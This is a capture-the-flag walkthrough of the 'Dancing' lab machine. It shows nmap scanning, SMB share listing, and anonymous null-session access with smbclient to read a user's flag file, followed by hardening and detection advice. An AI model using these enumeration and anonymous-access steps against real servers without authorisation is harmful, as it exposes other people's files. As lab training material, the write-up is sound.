Dancing

A Windows box whose WorkShares SMB share accepts a null session. The lesson is what a null session actually is, and why three of the four shares refuse it while one hands over a user's files.

Dancing is the SMB box in the Starting Point: a Windows Server 2019 host with a file share that accepts an unauthenticated connection. Owning it is two commands. What is worth sitting with is the mechanism - the null session - and why the same server refuses it on ADMIN$, C$ and IPC$ but allows it on WorkShares. That difference is a permissions decision, not a protocol flaw.

Path to root, at a glance:

nmap -> 445 SMB open on Windows Server 2019.
smbclient -L -> four shares; WorkShares is the non-admin one.
smbclient -N (null session) into WorkShares -> read James.P’s flag.txt.

Recon - nmap

┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Dancing]
└─$ sudo nmap -Pn -A 10.129.119.75
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Running: Microsoft Windows 2019
OS details: Microsoft Windows Server 2019

The classic Windows fingerprint: 135 (MSRPC endpoint mapper), 139 (NetBIOS session), 445 (SMB direct over TCP) and 5985 (WinRM). 5985 is interesting - it is the remote-management listener and a common foothold on harder boxes - but here it needs credentials I do not have yet, so SMB is the way in.

Enumeration - SMB and the null session

A null session is an SMB connection authenticated as an anonymous user with an empty username and password. On legacy or loosely configured Windows it is allowed to enumerate shares and sometimes read them. First, list what the server advertises - note I let the password prompt through empty:

┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Dancing]
└─$ smbclient -L //10.129.119.75
Password for [WORKGROUP\r3vpwnx]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        WorkShares      Disk

Three of these are administrative shares - the $ suffix hides them from browsing, and Windows restricts them to accounts with local admin rights: ADMIN$ maps to C:\Windows, C$ to the whole system drive, IPC$ is the inter-process named-pipe share. A null session can see they exist but cannot open them. WorkShares has no $ and no privilege gate - that is the one to try.

-N tells smbclient to skip the password prompt and connect as the null/anonymous user:

┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Dancing]
└─$ smbclient -N //10.129.119.75/WorkShares
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Mar 29 04:22:01 2021
  ..                                  D        0  Mon Mar 29 04:22:01 2021
  Amy.J                               D        0  Mon Mar 29 05:08:24 2021
  James.P                             D        0  Thu Jun  3 04:38:03 2021

Two per-user directories. This is the real-world shape of the bug: WorkShares was meant for employees to reach their own files, but anonymous read was left on, so any unauthenticated client reads everyone’s.

Loot - the flag

smb: \> cd James.P
smb: \James.P\> dir
  flag.txt                            A       32  Mon Mar 29 05:26:57 2021

smb: \James.P\> get flag.txt /dev/stdout
[flag redacted] getting file \James.P\flag.txt of size 32 as /dev/stdout

Detection and hardening

Disable anonymous/guest share access. Set RestrictAnonymous / RestrictNullSessAccess and remove the Guest account’s rights; a file share should require authentication, full stop.
Scope share ACLs to the owner. If WorkShares\James.P is James’s, only James (and admins) should read it - per-directory ACLs, not a share-wide “Everyone: Read”.
Require SMB signing and disable SMBv1 to blunt null-session enumeration and relay attacks.
Blue team: an anonymous logon (Logon Type 3, ANONYMOUS LOGON) followed by a tree-connect to a non-admin share from an external host is the signature - watch event IDs 4624/5140.

Lessons